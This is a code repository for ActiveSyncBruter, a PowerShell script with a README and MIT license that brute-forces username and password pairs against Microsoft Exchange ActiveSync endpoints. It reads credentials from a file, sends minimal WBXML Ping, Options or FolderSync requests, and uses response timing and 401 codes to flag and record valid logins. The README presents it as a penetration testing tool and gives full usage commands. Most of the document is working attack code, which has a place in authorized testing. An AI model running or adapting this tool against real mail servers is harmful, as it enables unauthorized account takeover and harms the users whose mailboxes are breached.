├── ActiveSyncBruter.ps1 ├── LICENSE └── README.md /ActiveSyncBruter.ps1: -------------------------------------------------------------------------------- 1 | [CmdletBinding(DefaultParameterSetName = "File")] 2 | param( 3 | # -- Mode 1: File mode (multiple credentials) -- 4 | [Parameter(Mandatory = $true, ParameterSetName = "File")] 5 | [string]$CredFile, 6 | 7 | # Optional switch to skip Phase 2 final verification. 8 | [Parameter(Mandatory = $false, ParameterSetName = "File")] 9 | [switch]$SkipFinal, 10 | 11 | # -- Mode 2: Single credential check -- 12 | [Parameter(Mandatory = $true, ParameterSetName = "Single")] 13 | [string]$Username, 14 | [Parameter(Mandatory = $false, ParameterSetName = "Single")] 15 | [string]$Password, 16 | 17 | # Common parameters: 18 | [Parameter(Mandatory = $true)] 19 | [string]$Hostname, 20 | 21 | [Parameter(Mandatory = $false)] 22 | [ValidateSet("Ping", "Options", "FolderSync")] 23 | [string]$CmdType = "Ping", 24 | 25 | # Optional quick timeout threshold in seconds. 26 | # In File mode, if not supplied, a baseline is computed. 27 | [Parameter(Mandatory = $false)] 28 | [double]$QuickTimeoutSec, 29 | 30 | # Final check timeout in seconds; defaults to 20 seconds. 31 | [double]$FinalTimeoutSec = 20, 32 | 33 | [Parameter(Mandatory = $true)] 34 | [string]$OutputFile, 35 | 36 | # Optional target domain to append if username doesn't already contain '@' 37 | [Parameter(Mandatory = $false)] 38 | [string]$Domain 39 | ) 40 | 41 | # --- Prepare Output File --- 42 | if (Test-Path $OutputFile) { Remove-Item $OutputFile -Force } 43 | New-Item -ItemType File -Path $OutputFile -Force | Out-Null 44 | 45 | # --- Function: Get-ActiveSyncPayload --- 46 | function Get-ActiveSyncPayload { 47 | param( [string]$CmdType ) 48 | switch ($CmdType.ToLower()) { 49 | "ping" { 50 | # Minimal Ping payload. 51 | # The 7th byte (0x0A) represents the heartbeat interval (10 sec). 52 | return [byte[]](0x03,0x01,0x6A,0x00,0x05,0x00,0x0A,0x00,0x00,0x00) 53 | } 54 | "options" { 55 | return [byte[]](0x03,0x01,0x6A,0x00,0x05,0x00,0x01,0x00,0x00,0x00) 56 | } 57 | "foldersync" { 58 | return [byte[]](0x03,0x01,0x6A,0x00,0x06,0x00,0x01,0x00,0x30,0x00,0x00,0x00) 59 | } 60 | default { 61 | Write-Output "Unsupported command type: $CmdType" 62 | exit 63 | } 64 | } 65 | } 66 | 67 | $Payload = Get-ActiveSyncPayload -CmdType $CmdType 68 | 69 | # --- Mode: Single Credential Check --- 70 | if ($PSCmdlet.ParameterSetName -eq "Single") { 71 | # Prompt for password if not supplied. 72 | if (-not $Password) { 73 | Write-Output "Password not provided; please enter password securely." 74 | $SecurePwd = Read-Host "Enter password" -AsSecureString 75 | $Credential = New-Object System.Management.Automation.PSCredential ($Username, $SecurePwd) 76 | } 77 | else { 78 | $SecurePwd = ConvertTo-SecureString $Password -AsPlainText -Force 79 | $Credential = New-Object System.Management.Automation.PSCredential ($Username, $SecurePwd) 80 | } 81 | if ($Domain -and ($Username -notmatch "@")) { 82 | $Username = "$Username@$Domain" 83 | $Credential = New-Object System.Management.Automation.PSCredential ($Username, $SecurePwd) 84 | } 85 | 86 | $Url = "https://$Hostname/Microsoft-Server-ActiveSync?Cmd=$CmdType" 87 | $Headers = @{ "Content-Type" = "application/vnd.ms-sync.wbxml"; "MS-ASProtocolVersion" = "14.0" } 88 | Write-Output ("Performing single credential check for {0}" -f $Username) | Tee-Object -FilePath $OutputFile 89 | $sw = [System.Diagnostics.Stopwatch]::StartNew() 90 | try { 91 | $response = Invoke-WebRequest -Uri $Url -Method Post -Headers $Headers -Body $Payload -Credential $Credential -TimeoutSec $FinalTimeoutSec -UseBasicParsing 92 | $sw.Stop() 93 | $msg = ("[+] Valid login: {0} - Cmd: {1}, Response: {2}, Runtime: {3} ms" -f $Username, $CmdType, $response.StatusCode, $sw.ElapsedMilliseconds) 94 | Write-Output $msg 95 | Add-Content -Path $OutputFile -Value $msg 96 | } 97 | catch { 98 | $sw.Stop() 99 | $errorMsg = $_.Exception.Message 100 | if ($errorMsg -match "timed out") { 101 | $msg = ("[+] Valid login (timeout): {0} - Cmd: {1}, Runtime: {2} ms" -f $Username, $CmdType, $sw.ElapsedMilliseconds) 102 | Write-Output $msg 103 | Add-Content -Path $OutputFile -Value $msg 104 | } 105 | elseif ($_.Exception.Response -and $_.Exception.Response.StatusCode.Value__ -eq 401) { 106 | $msg = ("[-] Failed login: {0} - Cmd: {1}, Runtime: {2} ms" -f $Username, $CmdType, $sw.ElapsedMilliseconds) 107 | Write-Output $msg 108 | Add-Content -Path $OutputFile -Value $msg 109 | } 110 | else { 111 | $msg = ("[!] Other error for {0} - Cmd: {1}, Error: {2}, Runtime: {3} ms" -f $Username, $CmdType, $errorMsg, $sw.ElapsedMilliseconds) 112 | Write-Output $msg 113 | Add-Content -Path $OutputFile -Value $msg 114 | } 115 | } 116 | return 117 | } 118 | 119 | # --- Mode: File-based Credential Check --- 120 | # If no QuickTimeoutSec is supplied, perform baseline measurement. 121 | if (-not $PSBoundParameters.ContainsKey("QuickTimeoutSec")) { 122 | Write-Output "No QuickTimeoutSec provided. Performing baseline measurement using 5 requests with random usernames..." 123 | $numRequests = 5 124 | $totalTimeMs = 0 125 | $charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 126 | $charArray = $charset.ToCharArray() 127 | 128 | function Get-RandomString { 129 | param( [int]$min, [int]$max ) 130 | $length = Get-Random -Minimum $min -Maximum ($max + 1) 131 | -join (1..$length | ForEach-Object { $charArray[(Get-Random -Minimum 0 -Maximum $charArray.Length)] }) 132 | } 133 | 134 | for ($i = 1; $i -le $numRequests; $i++) { 135 | $randUser = Get-RandomString -min 6 -max 10 136 | $dummyPassword = "dummy" 137 | $SecureDummy = ConvertTo-SecureString $dummyPassword -AsPlainText -Force 138 | $dummyCred = New-Object System.Management.Automation.PSCredential ($randUser, $SecureDummy) 139 | $Url = "https://$Hostname/Microsoft-Server-ActiveSync?Cmd=$CmdType" 140 | $Headers = @{ "Content-Type" = "application/vnd.ms-sync.wbxml"; "MS-ASProtocolVersion" = "14.0" } 141 | $sw = [System.Diagnostics.Stopwatch]::StartNew() 142 | try { 143 | Invoke-WebRequest -Uri $Url -Method Post -Headers $Headers -Body $Payload -Credential $dummyCred -TimeoutSec 10 -UseBasicParsing | Out-Null 144 | } 145 | catch { } 146 | $sw.Stop() 147 | $totalTimeMs += $sw.ElapsedMilliseconds 148 | Write-Output ("Baseline measurement {0}: {1} ms" -f $i, $sw.ElapsedMilliseconds) 149 | } 150 | $avgTimeMs = $totalTimeMs / $numRequests 151 | # Compute twice the average (in seconds). If below 1 second, force it to 1 second; otherwise round up. 152 | $computedTimeoutSec = ($avgTimeMs * 2) / 1000.0 153 | if ($computedTimeoutSec -lt 1) { 154 | $computedTimeoutSec = 1 155 | } 156 | else { 157 | $computedTimeoutSec = [math]::Ceiling($computedTimeoutSec) 158 | } 159 | Write-Output ("Baseline average: {0} ms. Setting QuickTimeoutSec to {1} sec." -f $avgTimeMs, $computedTimeoutSec) 160 | $QuickTimeoutSec = $computedTimeoutSec 161 | } 162 | 163 | # --- Phase 1: Quick Check --- 164 | $PotentialValid = @() 165 | $FinalValid = @() 166 | 167 | Write-Output ("=== Phase 1: Quick Check with timeout threshold of {0} sec ===" -f $QuickTimeoutSec) | Tee-Object -FilePath $OutputFile 168 | 169 | Get-Content $CredFile | ForEach-Object { 170 | $line = $_.Trim() 171 | if ($line -eq "") { return } 172 | 173 | $tokens = $line -split "\s+" 174 | if ($tokens.Count -lt 2) { 175 | $msg = "Line '$line' is not in expected format 'username password'. Skipping..." 176 | Write-Warning $msg 177 | Add-Content -Path $OutputFile -Value $msg 178 | return 179 | } 180 | 181 | $credUsername = $tokens[0] 182 | if ($Domain -and ($credUsername -notmatch "@")) { $credUsername = "$credUsername@$Domain" } 183 | $credPassword = $tokens[1] 184 | 185 | $SecurePassword = ConvertTo-SecureString $credPassword -AsPlainText -Force 186 | $Credential = New-Object System.Management.Automation.PSCredential ($credUsername, $SecurePassword) 187 | $Url = "https://$Hostname/Microsoft-Server-ActiveSync?Cmd=$CmdType" 188 | $Headers = @{ "Content-Type" = "application/vnd.ms-sync.wbxml"; "MS-ASProtocolVersion" = "14.0" } 189 | 190 | $sw = [System.Diagnostics.Stopwatch]::StartNew() 191 | try { 192 | $response = Invoke-WebRequest -Uri $Url -Method Post -Headers $Headers -Body $Payload -Credential $Credential -TimeoutSec $QuickTimeoutSec -UseBasicParsing 193 | $sw.Stop() 194 | if ($sw.ElapsedMilliseconds -ge ($QuickTimeoutSec * 1000)) { 195 | $msg = ("[?] Potential valid login (long response): {0}:{1} - Cmd: {2}, Response: {3}, Runtime: {4} ms" -f $credUsername, $credPassword, $CmdType, $response.StatusCode, $sw.ElapsedMilliseconds) 196 | $PotentialValid += ,@{Username = $credUsername; Password = $credPassword} 197 | } 198 | else { 199 | $msg = ("[-] Failed login: {0}:{1} - Cmd: {2}, Response: {3}, Runtime: {4} ms" -f $credUsername, $credPassword, $CmdType, $response.StatusCode, $sw.ElapsedMilliseconds) 200 | } 201 | Write-Output $msg 202 | Add-Content -Path $OutputFile -Value $msg 203 | } 204 | catch { 205 | $sw.Stop() 206 | $errorMsg = $_.Exception.Message 207 | if ($errorMsg -match "timed out") { 208 | $msg = ("[?] Potential valid login (timeout): {0}:{1} - Cmd: {2}, Runtime: {3} ms" -f $credUsername, $credPassword, $CmdType, $sw.ElapsedMilliseconds) 209 | Write-Output $msg 210 | Add-Content -Path $OutputFile -Value $msg 211 | $PotentialValid += ,@{Username = $credUsername; Password = $credPassword} 212 | } 213 | elseif ($_.Exception.Response -and $_.Exception.Response.StatusCode.Value__ -eq 401) { 214 | $msg = ("[-] Failed login: {0}:{1} - Cmd: {2}, Runtime: {3} ms" -f $credUsername, $credPassword, $CmdType, $sw.ElapsedMilliseconds) 215 | Write-Output $msg 216 | Add-Content -Path $OutputFile -Value $msg 217 | } 218 | else { 219 | $msg = ("[!] Other error for {0}:{1} - Cmd: {2}, Error: {3}, Runtime: {4} ms" -f $credUsername, $credPassword, $CmdType, $errorMsg, $sw.ElapsedMilliseconds) 220 | Write-Output $msg 221 | Add-Content -Path $OutputFile -Value $msg 222 | } 223 | } 224 | } 225 | 226 | # --- Phase 2: Final Check --- 227 | # If -SkipFinal is specified, we skip Phase 2. 228 | if (-not $SkipFinal) { 229 | Write-Output ("=== Phase 2: Final Check with timeout of {0} sec ===" -f $FinalTimeoutSec) | Tee-Object -FilePath $OutputFile -Append 230 | foreach ($cred in $PotentialValid) { 231 | $u = $cred.Username 232 | $p = $cred.Password 233 | $SecurePassword = ConvertTo-SecureString $p -AsPlainText -Force 234 | $Credential = New-Object System.Management.Automation.PSCredential ($u, $SecurePassword) 235 | $Url = "https://$Hostname/Microsoft-Server-ActiveSync?Cmd=$CmdType" 236 | $Headers = @{ "Content-Type" = "application/vnd.ms-sync.wbxml"; "MS-ASProtocolVersion" = "14.0" } 237 | $sw = [System.Diagnostics.Stopwatch]::StartNew() 238 | try { 239 | $response = Invoke-WebRequest -Uri $Url -Method Post -Headers $Headers -Body $Payload -Credential $Credential -TimeoutSec $FinalTimeoutSec -UseBasicParsing 240 | $sw.Stop() 241 | $msg = ("[+] Final valid login: {0}:{1} - Cmd: {2}, Response: {3}, Runtime: {4} ms" -f $u, $p, $CmdType, $response.StatusCode, $sw.ElapsedMilliseconds) 242 | Write-Output $msg 243 | Add-Content -Path $OutputFile -Value $msg 244 | $FinalValid += ,@{Username = $u; Password = $p} 245 | } 246 | catch { 247 | $sw.Stop() 248 | $errorMsg = $_.Exception.Message 249 | if ($errorMsg -match "timed out") { 250 | $msg = ("[+] Final valid login (timeout): {0}:{1} - Cmd: {2}, Runtime: {3} ms" -f $u, $p, $CmdType, $sw.ElapsedMilliseconds) 251 | Write-Output $msg 252 | Add-Content -Path $OutputFile -Value $msg 253 | $FinalValid += ,@{Username = $u; Password = $p} 254 | } 255 | elseif ($_.Exception.Response -and $_.Exception.Response.StatusCode.Value__ -eq 401) { 256 | $msg = ("[-] Final check failed (401): {0}:{1} - Cmd: {2}, Runtime: {3} ms" -f $u, $p, $CmdType, $sw.ElapsedMilliseconds) 257 | Write-Output $msg 258 | Add-Content -Path $OutputFile -Value $msg 259 | } 260 | else { 261 | $msg = ("[!] Final check error for {0}:{1} - Cmd: {2}, Error: {3}, Runtime: {4} ms" -f $u, $p, $CmdType, $errorMsg, $sw.ElapsedMilliseconds) 262 | Write-Output $msg 263 | Add-Content -Path $OutputFile -Value $msg 264 | } 265 | } 266 | } 267 | } 268 | else { 269 | Write-Output "Skipping Phase 2 final verification as requested." | Tee-Object -FilePath $OutputFile -Append 270 | } 271 | 272 | # --- Summary --- 273 | Write-Output "=== Summary ===" | Tee-Object -FilePath $OutputFile -Append 274 | if ($SkipFinal) { 275 | # In SkipFinal mode, list potential valid credentials from Phase 1. 276 | if ($PotentialValid.Count -gt 0) { 277 | foreach ($cred in $PotentialValid) { 278 | $msg = ("[+] Potential valid: {0}:{1}" -f $cred.Username, $cred.Password) 279 | Write-Output $msg 280 | Add-Content -Path $OutputFile -Value $msg 281 | } 282 | } 283 | else { 284 | $msg = "No potential valid credentials found." 285 | Write-Output $msg 286 | Add-Content -Path $OutputFile -Value $msg 287 | } 288 | } 289 | else { 290 | if ($FinalValid.Count -gt 0) { 291 | foreach ($cred in $FinalValid) { 292 | $msg = ("[+] Valid: {0}:{1}" -f $cred.Username, $cred.Password) 293 | Write-Output $msg 294 | Add-Content -Path $OutputFile -Value $msg 295 | } 296 | } 297 | else { 298 | $msg = "No valid credentials found." 299 | Write-Output $msg 300 | Add-Content -Path $OutputFile -Value $msg 301 | } 302 | } 303 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Sebastian Kriesten 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ActiveSyncBruter 2 | 3 | ActiveSyncBruter is a penetration testing tool designed to enumerate and brute-force credentials against Microsoft Exchange ActiveSync endpoints. It supports both single-credential checks and bulk testing from a file. The tool employs a two-phase approach to quickly filter out invalid credentials and then re‑verify potential valid candidates. 4 | It was born out of the need 5 | 6 | ## Features 7 | 8 | - **Dual Modes:** 9 | - **File Mode:** Test multiple credentials from a file. 10 | - **Single Mode:** Test a single username (with an optional password) with secure prompt support. 11 | - **Two-Phase Verification (File Mode):** 12 | - **Phase 1:** A quick check using a baseline-derived timeout threshold to mark potential valid credentials. 13 | - **Phase 2:** A final, longer verification for credentials flagged as potentially valid. 14 | - **Customizable Timeouts:** 15 | - Supports configurable timeout thresholds for both quick (Phase 1) and final (Phase 2) checks. 16 | - If no quick timeout is provided in File Mode, the tool computes a baseline by sending test requests with random usernames and sets the threshold to twice the average response time (with a minimum threshold of 1 second). 17 | - **Domain Handling:** 18 | - Automatically appends a specified domain to usernames that do not already include an "@". 19 | - **Optional Phase 2 Skipping:** 20 | - Use the `-SkipFinal` switch in File Mode to run only Phase 1 checks, saving time when testing large lists. 21 | 22 | ## Command Types (CmdType) 23 | 24 | Each command type is implemented as a minimal WBXML payload. The choice of which command to use depends on the environment and what behavior you wish to observe. ActiveSyncBruter was initially built with the Ping command in mind because its inherent delay can serve as an indicator of valid credentials, but the tool is flexible enough to support other commands as needed. 25 | 26 | ActiveSyncBruter currently supports three ActiveSync command types: 27 | 28 | - **Ping:** 29 | The default command, Ping, is implemented as a minimal WBXML request. Its design in the ActiveSync protocol is to keep a connection open for a specified heartbeat interval (the payload’s 7th byte is set to 0x0A, representing 10 seconds). 30 | A valid credential on a Ping command causes the server to wait for the heartbeat, leading to a delayed (or even timeout) response. This behavior is used in the quick-check phase: if a credential causes a long response time or timeout, it is flagged as potentially valid. 31 | 32 | - **Options:** 33 | The Options command returns server capabilities and configuration. 34 | Although the minimal Options payload is implemented here, some environments might require a more fully formed payload. Options can be used when you need to quickly verify that the endpoint is responsive and to potentially gather configuration details. 35 | 36 | - **FolderSync:** 37 | The FolderSync command is implemented as a minimal request, typically with a sync key of "0" (used for new devices). 38 | FolderSync returns a list of folders (such as Inbox, Calendar, etc.) and normally responds quickly. It can be used as an alternative method for checking credential validity when a Ping response might be affected by long heartbeat intervals. 39 | 40 | 41 | ## Requirements 42 | 43 | - PowerShell 5.0 or later (Windows PowerShell or PowerShell Core) 44 | - Network access to the target Exchange ActiveSync endpoint (e.g., `https://mail.example.com/Microsoft-Server-ActiveSync`) 45 | 46 | ## Installation 47 | 48 | 1. Clone the repository: 49 | 50 | ```bash 51 | git clone https://github.com/0xB455/ActiveSyncBruter.git 52 | ``` 53 | 54 | 2. Navigate to the project directory: 55 | 56 | ```bash 57 | cd ActiveSyncBruter 58 | ``` 59 | 60 | ## Usage 61 | 62 | The tool is run from the command line. It supports two modes: 63 | 64 | ### File Mode (Multiple Credentials) 65 | 66 | In File Mode, supply a credentials file where each line contains a username and password separated by whitespace. Use the `-CredFile` switch and optionally specify the target domain using `-Domain`. For example: 67 | 68 | ```powershell 69 | .\ActiveSyncBruter.ps1 -Hostname "mail.example.com" -CredFile "C:\path\to\credentials.txt" -CmdType Ping -OutputFile "C:\path\to\output.txt" -Domain "example.com" 70 | ``` 71 | 72 | - **Parameters:** 73 | - `-Hostname`: The target ActiveSync server (e.g., `mail.example.com`). 74 | - `-CredFile`: Path to the file containing credentials (each line in the format `username password`). 75 | - `-CmdType`: The ActiveSync command to use. Valid options: `Ping`, `Options`, or `FolderSync` (default is `Ping`). 76 | - `-OutputFile`: Path to the file where output and results will be saved. 77 | - `-Domain`: Optional domain to append to usernames that do not include an "@". 78 | - `-QuickTimeoutSec`: (Optional) Quick check timeout threshold in seconds. If not provided, a baseline is computed. 79 | - `-FinalTimeoutSec`: Final check timeout in seconds. Defaults to 20 seconds. 80 | - `-SkipFinal`: (Optional) If specified, the tool will perform only Phase 1 checks (quick check) and skip the final verification phase. 81 | 82 | ### Single Mode (One Credential Check) 83 | 84 | In Single Mode, supply a username using the `-Username` switch. You can also optionally provide a password via `-Password`. If the password is omitted, you will be securely prompted to enter it. For example: 85 | 86 | **With both username and password:** 87 | 88 | ```powershell 89 | .\ActiveSyncBruter.ps1 -Hostname "mail.example.com" -Username "user1" -Password "SuperSecret123" -CmdType Ping -OutputFile "C:\path\to\output.txt" -Domain "example.com" 90 | ``` 91 | 92 | **With username only (password will be prompted):** 93 | 94 | ```powershell 95 | .\ActiveSyncBruter.ps1 -Hostname "mail.example.com" -Username "user1" -CmdType Ping -OutputFile "C:\path\to\output.txt" -Domain "example.com" 96 | ``` 97 | 98 | ### How It Works 99 | 100 | #### File Mode Workflow 101 | 102 | 1. **Baseline Measurement (if `-QuickTimeoutSec` is not provided):** 103 | The tool sends 5 test requests with randomly generated usernames to calculate an average response time. It then sets the quick-check threshold to twice the average response time, with a minimum of 1 second. 104 | 105 | 2. **Phase 1: Quick Check:** 106 | Each credential in the file is tested against the ActiveSync endpoint using the quick timeout threshold. Credentials with responses that take longer than the threshold (or that time out) are flagged as potentially valid. 107 | 108 | 3. **Phase 2: Final Check:** 109 | Unless the `-SkipFinal` switch is used, the flagged credentials are re‑tested using a longer timeout (`-FinalTimeoutSec`, default 20 seconds). In this phase, timeouts are treated as valid responses. 110 | 111 | 4. **Output:** 112 | The tool writes detailed results (including response codes and runtimes in milliseconds) to the console and saves them to the specified output file. The final summary lists all credentials that passed final verification (or potential valid ones if Phase 2 is skipped). 113 | 114 | #### Single Mode Workflow 115 | 116 | For a single credential, the tool performs one check (using the final timeout) and reports the result. 117 | 118 | ## License 119 | 120 | This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details. 121 | --------------------------------------------------------------------------------